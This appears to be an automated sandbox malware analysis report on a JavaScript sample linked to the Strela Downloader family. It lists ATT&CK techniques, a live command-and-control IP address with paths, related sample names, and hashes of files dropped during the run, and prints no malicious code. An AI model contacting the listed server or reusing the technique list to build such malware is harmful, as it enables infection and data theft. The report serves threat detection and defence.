Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2091470502273216855.js	0%	ReversingLabs
2091470502273216855.js	5%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3413101328.000001A84E800000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2170988308.000001A84E630000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2171655879.000001F3A3521000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588091
Start date and time:	2025-01-10 21:16:33 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2091470502273216855.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 184.28.90.27, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.19.122.205, 2.19.122.214, 13.107.246.45, 52.22.41.97, 4.245.163.56, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:17:32	API Interceptor	23x Sleep call for process: powershell.exe modified
15:17:36	API Interceptor	1x Sleep call for process: net.exe modified
15:17:36	API Interceptor	2x Sleep call for process: svchost.exe modified
15:17:44	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	533625797193620143.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7281316381146719051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8692281511118412139.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	20512268371239412475.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307195075995036
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugo:gJjJGtpTq2yv1AuNZRY3diu8iBVqFi
MD5:	2C4B86D5A70FC988FA5C5C41ED62C6A0
SHA1:	155FE5458A9AB262835B826AB3CBF850DAF75EFD
SHA-256:	3998CC3DCF1FAF81C854040679E8B7C63CD520B35819C1B9B3A53736C3FF98AE
SHA-512:	61A4929C5892C6FDB07D4938AC5AFFB21F1E2566F839E65123B37A3D6C2F63082943F8E58FD28068F5A5D487B2654F2BFCDC38512D43283A063AC10ED8D1DC8B
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc824a383, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6586025509526435
Encrypted:	false
SSDEEP:	1536:RSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Raza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	A15BFD04E768A9513AB0C3BC95C36F31
SHA1:	0643A2E7EC3DC6DEDB87B7C83AED591CD22AE1DD
SHA-256:	DE9D09C651B418DB3216BAD1A70AF1A36602543970242A0332EE6BB7A9504BDA
SHA-512:	3F222E46327507D298C56ECDE62B46B87545C8EF901A168ED63CDC1FC7106C47B138062E12397B78731B5C55FF56AFD00FA29BEFB5BB5BF5415E312AC6C4B678
Malicious:	false
Preview:	.$..... ...............X\...;...{......................0.z..........{..%....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................~.p%....}g....................V%....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0816030718534336
Encrypted:	false
SSDEEP:	3:4lyYe3SkdPbGuAJkhvekl1UI8YatlllollrekGltll/SPj:nz3NrxlTelAJe3l
MD5:	942E7C60497A087E547846FB6ED77417
SHA1:	7F442F3E72D5FD25F57413AF6B6CDFE28049D899
SHA-256:	F337153CBB4B23FCC11FC394236BCBD1D8D2603B5CA8D5E5001CE73A59258320
SHA-512:	5E2B4C7D03119011A12000A43B7BB898A68BBA9F761047030874413D2FB42539C5B03122E4DB56D778F7E747000C2B7C4B539D289960C4FC66C00CEB6C7C6AB1
Malicious:	false
Preview:	SH.......................................;...{..%....}.......{...............{.......{...XL......{.....................V%....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1535691593505675
Encrypted:	false
SSDEEP:	6:iO4h2N+q2P92nKuAl9OmbnIFUtShhWZmwsh8VkwO92nKuAl9OmbjLJ:7jN+v4HAahFUt5/fV5LHAaSJ
MD5:	B9D634A0369669705F30BAB861851FF2
SHA1:	7D8C188B3D1A6426C3B5CD1EE38A02B2D11CAB86
SHA-256:	6910630687E6B8C3D9CA85F5A90EF48D548F5E1EE1CBB65A59E83D1231F98FC3
SHA-512:	62DEEE4B481DA6ADD4ADA2E952CD634CE04F3988F5326D179ED09A604BD69F219A2858094BB2162AEAA0ADB20E92C2CA3F342448AFB09DA90473C83FC3F0E7CD
Malicious:	false
Preview:	2025/01/10-15:17:36.535 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:17:36.537 50c Recovering log #3.2025/01/10-15:17:36.537 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.1535691593505675
Encrypted:	false
SSDEEP:	6:iO4h2N+q2P92nKuAl9OmbnIFUtShhWZmwsh8VkwO92nKuAl9OmbjLJ:7jN+v4HAahFUt5/fV5LHAaSJ
MD5:	B9D634A0369669705F30BAB861851FF2
SHA1:	7D8C188B3D1A6426C3B5CD1EE38A02B2D11CAB86
SHA-256:	6910630687E6B8C3D9CA85F5A90EF48D548F5E1EE1CBB65A59E83D1231F98FC3
SHA-512:	62DEEE4B481DA6ADD4ADA2E952CD634CE04F3988F5326D179ED09A604BD69F219A2858094BB2162AEAA0ADB20E92C2CA3F342448AFB09DA90473C83FC3F0E7CD
Malicious:	false
Preview:	2025/01/10-15:17:36.535 50c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:17:36.537 50c Recovering log #3.2025/01/10-15:17:36.537 50c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.175302155371604
Encrypted:	false
SSDEEP:	6:iO4hTE+q2P92nKuAl9Ombzo2jMGIFUtShGZmwshpHNVkwO92nKuAl9Ombzo2jMmd:7Qv4HAa8uFUtt/WT5LHAa8RJ
MD5:	848248151B14EA6CD5531814AACBCDCA
SHA1:	1F45FBF21E342890AE9554EB8D044D30D7327BEF
SHA-256:	E26B99C961FE42B0050D8F74CF384A12ECB00BBC6D1A7691A71D18E16FA3D7D5
SHA-512:	9830517229EEB60BA046EBB96B5337A19F98DA1F630F4090E4843C1CA5D25A966FE73092A6A7B0F1B79BD4DF9240A7E8A0B36DC5BE78DA67E15B0E47042939CD
Malicious:	false
Preview:	2025/01/10-15:17:36.611 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:17:36.613 1c58 Recovering log #3.2025/01/10-15:17:36.614 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.175302155371604
Encrypted:	false
SSDEEP:	6:iO4hTE+q2P92nKuAl9Ombzo2jMGIFUtShGZmwshpHNVkwO92nKuAl9Ombzo2jMmd:7Qv4HAa8uFUtt/WT5LHAa8RJ
MD5:	848248151B14EA6CD5531814AACBCDCA
SHA1:	1F45FBF21E342890AE9554EB8D044D30D7327BEF
SHA-256:	E26B99C961FE42B0050D8F74CF384A12ECB00BBC6D1A7691A71D18E16FA3D7D5
SHA-512:	9830517229EEB60BA046EBB96B5337A19F98DA1F630F4090E4843C1CA5D25A966FE73092A6A7B0F1B79BD4DF9240A7E8A0B36DC5BE78DA67E15B0E47042939CD
Malicious:	false
Preview:	2025/01/10-15:17:36.611 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:17:36.613 1c58 Recovering log #3.2025/01/10-15:17:36.614 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\935c2781-3bd6-47fe-9338-19d126541677.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.056555105543146
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGuEsBdOg2Hscaq3QYiubxnP7E4T3OF+:Y2sRdsypdMHP3QYhbxP7nbI+
MD5:	2F986527343AACE471A0CE0129008BAF
SHA1:	26E2413C466668DBD1EB91C194BA650B72B1315D
SHA-256:	9EEAB10627437E214410552147E8FBBA8F9AFA5B7C5BE4C7FDC962B13173189F
SHA-512:	5F7A5FD6144BD8D8D7B0311ADCD8320D5803EB8804083C12C6803DE19806CD8CE622C190B0A34B7A644D45C2CB07CB6A19C4549D63119FD35F90032915C481B8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100268256071","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144032},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.056555105543146
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqGuEsBdOg2Hscaq3QYiubxnP7E4T3OF+:Y2sRdsypdMHP3QYhbxP7nbI+
MD5:	2F986527343AACE471A0CE0129008BAF
SHA1:	26E2413C466668DBD1EB91C194BA650B72B1315D
SHA-256:	9EEAB10627437E214410552147E8FBBA8F9AFA5B7C5BE4C7FDC962B13173189F
SHA-512:	5F7A5FD6144BD8D8D7B0311ADCD8320D5803EB8804083C12C6803DE19806CD8CE622C190B0A34B7A644D45C2CB07CB6A19C4549D63119FD35F90032915C481B8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100268256071","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144032},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.232125459364678
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUSM6D1q:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLY
MD5:	79BB07F2C2D360D272C9D3DCADE26A8E
SHA1:	282E9C6AF853F09EA0D44277CD886A5B7EEAE5DD
SHA-256:	80F3D78A3B575ECD2F2CB7AC2B83604BF223A56F500B7FC3FABE32F05BEF9D81
SHA-512:	5EE87EC82A6796E38AAAE5E2BE93BD4DBFE3A98C04EA32C5A4EFC5DDA8CA9B1A8F81EC05049B6C7078DC1A188414DFAE18A9C03748971CD9DEF72E2F81392A76
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.200517450370837
Encrypted:	false
SSDEEP:	6:iO4hRfQt+q2P92nKuAl9OmbzNMxIFUtShu8Zmwsh6f4NVkwO92nKuAl9OmbzNMFd:7YQov4HAa8jFUtV8/nfE5LHAa84J
MD5:	0813D394C89314874826657813827245
SHA1:	21E5FC11749407978551A5FC738F08E23C8B5E18
SHA-256:	67957AA8413C91D99E27F2447B35A0910D94727575F69E0F2C919B06E094677E
SHA-512:	25BB1E4E8AF1148D2E621FC795C34CE82050F2471DEA9A0E591DCDE490274E622DAE30422025902B571C389F6FAD62098ADCBC4C495197C71A16A41D57E77BD9
Malicious:	false
Preview:	2025/01/10-15:17:36.778 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:17:36.780 1c58 Recovering log #3.2025/01/10-15:17:36.784 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.200517450370837
Encrypted:	false
SSDEEP:	6:iO4hRfQt+q2P92nKuAl9OmbzNMxIFUtShu8Zmwsh6f4NVkwO92nKuAl9OmbzNMFd:7YQov4HAa8jFUtV8/nfE5LHAa84J
MD5:	0813D394C89314874826657813827245
SHA1:	21E5FC11749407978551A5FC738F08E23C8B5E18
SHA-256:	67957AA8413C91D99E27F2447B35A0910D94727575F69E0F2C919B06E094677E
SHA-512:	25BB1E4E8AF1148D2E621FC795C34CE82050F2471DEA9A0E591DCDE490274E622DAE30422025902B571C389F6FAD62098ADCBC4C495197C71A16A41D57E77BD9
Malicious:	false
Preview:	2025/01/10-15:17:36.778 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:17:36.780 1c58 Recovering log #3.2025/01/10-15:17:36.784 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

